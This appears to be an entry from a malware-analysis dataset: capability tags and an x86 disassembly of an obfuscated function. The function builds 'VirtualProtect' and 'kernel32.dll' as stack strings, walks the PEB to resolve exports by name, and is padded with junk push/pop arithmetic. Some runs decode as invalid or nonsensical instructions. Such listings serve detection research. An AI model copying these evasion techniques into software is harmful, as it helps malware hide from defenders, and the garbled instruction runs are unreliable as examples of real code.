Function at 0x414557
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
push esi
add esp, 4
sub esi, 0x62f3
pop esi
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x41410c
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x4143fd
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x414134
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x4143fd
leave
add al, byte [eax]
invalid
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x414166
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x4143fd
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x41418b
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x4143fd
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
xchg ebp, eax
js 0x414199
invalid
dec dword [ebx - 0x7637b]
dec dword [ebx - 0x32373]
inc dword [ebx]
dec eax
sbb al, 0x89
invalid
invalid
loop 0x4141c8
inc edi
test dword [eax + 0xfffff8], ebx
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x4143f1
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d10]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x19c], 0
jmp 0x414255
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x414307
invalid
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x414307
push ebx
call 0x41428f
add byte [esi + 0x36], cl
xor bh, byte [esi]
cmp dl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x414259
dec ecx
add byte [eax], al
jmp 0x4142a1
pop ebx
push edi
push edx
add esp, 4
xor edi, 0x754a
xor edi, 0x147ce
pop edi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x4142f9
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x414300
jmp 0x414246
jmp 0x414307
push esi
push esi
add esp, 4
sub esi, 0xaedc
add esi, 0x7350
call 0x414324
add byte [edx + eax*2], bh
xor eax, 0x834c4c3b
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [esi], bh
cmp byte [ebx], dh
inc ebx
aas
inc esp
aas
xor eax, dword [ebx - 0x74a1fb3c]
xchg ebp, eax
xchg esp, eax
clc
invalid
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push edx
push ecx
add esp, 4
call 0x41441d
add byte [eax], al
add byte [eax], al
dec esi
xor eax, 0x32463840
inc eax
xor edi, dword [ecx]
add esp, 4
pop edx
push eax
or eax, 0xc1c2
sub eax, 0x7fcb
add eax, 0xab25
sub eax, 0x3335
pop eax
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push edi
push edi
add esp, 4
or edi, 0xf736
and edi, 0x1850c
pop edi
push eax
xor eax, 0xb2e4
or eax, 0xbdae
sub eax, 0x17af1
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0x110fa
pop ecx
cmp dword [ebp - 0x3e8], 0
je 0x41448e
cmp dword [ebp - 0xab8], 0
jne 0x4144d4
push edx
push edx
add esp, 4
sub edx, 0x17710
pop edx
push eax
jmp 0x4144a3
call 0x4144b0
add byte [ecx + 0x32], cl
xor eax, 0x47333534
add esp, 4
or eax, 0xdb4
or eax, 0x5cf6
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push eax
and eax, 0xa721
xor eax, 0x14707
xor eax, 0x12cc3
pop eax
push edi
push esi
add esp, 4
xor edi, 0x1da9
add edi, 0xef61
or edi, 0x7aff
and edi, 0xa96b
pop edi
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push eax
add eax, 0xfbff
add byte [eax], al
pop eax
push esi
xor esi, 0xc004
call 0x414557
add byte [edi + 0x3f], cl
inc esp
dec ebp
dec edi
cmp dword [ebx], edi
add esp, 4
or esi, 0xd55e
pop esi
push eax
push esi
add esp, 4
sub eax, 0x12f2c
pop eax
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push esi
xor esi, 0xf9cb
sub esi, 0x845f
and esi, 0xf035
and esi, 0x164fa
pop esi
push eax
push edi
add esp, 4
and eax, 0x156e3
add eax, 0xf434
and eax, 0x7692
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push ebx
push edi
add esp, 4
and ebx, 0x1197e
xor ebx, 0x14ace
jmp 0x414647
pop ebx
push eax
jmp 0x41464e
and eax, 0x4999
sub eax, 0x80c5
sub eax, 0x126f1
pop eax
cmp dword [ebp - 0x1614], 0
jne 0x414679
mov dword [ebp - 0x2fc], 0
jmp 0x414920
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ebx
push eax
add esp, 4
add ebx, 0x134f
pop ebx
push esi
push ebx
add esp, 4
or esi, 0xf22e
pop esi
push ebx
call 0x4146b0
add byte [ebp + 0x4f], al
cmp dword [edi + ecx*2], esi
dec ecx
add esp, 4
pop ebx
push ebx
jmp 0x4146bc
pop ebx
cmp dword [ebp - 0xcc4], 0
jne 0x4146d5
mov dword [ebp - 0x2fc], 0
jmp 0x414920
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push edx
jmp 0x4146e8
call 0x4146f5
add byte [ebx], dh
inc eax
inc ecx
dec ebp
dec edx
dec ecx
add esp, 4
jmp 0x414700
sub edx, 0x104d1
pop edx
push ebx
push edx
add esp, 4
or ebx, 0xa335
pop ebx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
and eax, 0x17dd8
and eax, 0x3f09
add eax, 0x17e8d
pop eax
push edx
push ebx
add esp, 4
add edx, 0x11d63
add edx, 0x4357
xor edx, 0x17672
or edx, 0x66d2
pop edx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push eax
push edx
add esp, 4
add eax, 0x6d2e
and eax, 0xbca4
add eax, 0x100f4
pop eax
push edi
xor edi, 0x124a3
or edi, 0x1e29
add edi, 0x147d2
or edi, 0x2e0e
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x414815
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x41486f
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41473d
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41473d
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x414859
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x414863
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x4148b8
push edx
push eax
add esp, 4
add edx, 0xb07a
or edx, 0x1b37
add edx, 0xf2e8
pop edx
push esi
push edx
add esp, 4
sub esi, 0x59c7
and esi, 0x165a2
add bl, ch
push es
pop esi
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x414920
push edi
push ecx
add esp, 4
call 0x4148c9
add byte [ebp + 0x46], cl
cmp dword [eax], edi
dec edi
cmp eax, dword [ebx + 0x525f04c4]
call 0x4148da
add byte [eax + 0x43], al
cmp eax, 0x83323b4b
les eax, [ecx + eax*4]
cmovo eax, dword [eax]
add bl, ch
add al, 0x40
xor al, 0x45
cmp dword [edx - 0x75], ebx
xchg ebp, eax
in al, dx
cli
invalid
push eax
sub eax, 0xaf10
or eax, 0xf5ad
pop eax
push ecx
call 0x41493c
add byte [esi + 0x46], al
inc edx
xor eax, 0x4c4834f
pop ecx
push edx
push eax
add esp, 4
xor edx, 0xfa62
add edx, 0x123ef
add byte [edx - 0x7d], bl
mov ebp, 0xfffffd04
add byte [edi], cl
test eax, edi
or byte [eax], al
invalid
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
invalid
invalid
invalid
invalid